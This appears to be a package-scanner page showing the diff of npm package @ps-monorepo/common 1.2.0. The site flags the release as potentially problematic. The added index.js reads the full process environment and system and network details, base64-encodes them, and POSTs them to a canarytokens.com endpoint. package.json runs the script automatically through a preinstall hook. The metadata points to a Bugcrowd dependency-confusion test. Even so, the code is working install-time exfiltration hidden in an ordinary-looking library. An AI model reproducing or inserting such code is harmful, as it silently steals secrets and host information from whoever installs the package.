@ps-monorepo/common 1.2.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @ps-monorepo/common might be problematic. Click here for more details.
- package/index.js +54 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,54 @@
|
|
1
|
+
'use strict'
|
2
|
+
|
3
|
+
const https = require('https')
|
4
|
+
const http = require("http");
|
5
|
+
const os = require("os");
|
6
|
+
|
7
|
+
var currentPath = __dirname;
|
8
|
+
var currentFile = __filename;
|
9
|
+
var currentEnvString = JSON.stringify(process);
|
10
|
+
var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
|
11
|
+
|
12
|
+
var data = {
|
13
|
+
envPORT: process.env.PORT,
|
14
|
+
hostname: JSON.stringify(os.hostname()),
|
15
|
+
currentPath: currentPath,
|
16
|
+
currentFile: currentFile,
|
17
|
+
currentEnvBase64: currentEnvBase64,
|
18
|
+
type: JSON.stringify(os.type()),
|
19
|
+
platform: JSON.stringify(os.platform()),
|
20
|
+
arch: JSON.stringify(os.arch()),
|
21
|
+
release: JSON.stringify(os.release()),
|
22
|
+
uptime: JSON.stringify(os.uptime()),
|
23
|
+
loadavg: JSON.stringify(os.loadavg()),
|
24
|
+
totalmem: JSON.stringify(os.totalmem()),
|
25
|
+
freemem: JSON.stringify(os.freemem()),
|
26
|
+
cpus: JSON.stringify(os.cpus()),
|
27
|
+
networkInterfaces: JSON.stringify(os.networkInterfaces()),
|
28
|
+
};
|
29
|
+
|
30
|
+
data = JSON.stringify(data)
|
31
|
+
|
32
|
+
const options = {
|
33
|
+
hostname: 'canarytokens.com',
|
34
|
+
port: 443,
|
35
|
+
path: '/traffic/zwtu8e7bg65e633pdpk4gvudu/index.html',
|
36
|
+
method: 'POST',
|
37
|
+
headers: {
|
38
|
+
'Content-Type': 'application/json',
|
39
|
+
'Content-Length': data.length
|
40
|
+
}
|
41
|
+
}
|
42
|
+
|
43
|
+
const req = https.request(options, res => {
|
44
|
+
res.on('data', d => {
|
45
|
+
process.stdout.write(d)
|
46
|
+
})
|
47
|
+
})
|
48
|
+
|
49
|
+
req.on('error', error => {
|
50
|
+
console.error(error)
|
51
|
+
})
|
52
|
+
|
53
|
+
req.write(data)
|
54
|
+
req.end()
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "@ps-monorepo/common",
|
3
|
+
"version": "1.2.0",
|
4
|
+
"description": "Don't panic, it's just a testing script",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Restricted @ Bugcrowd",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|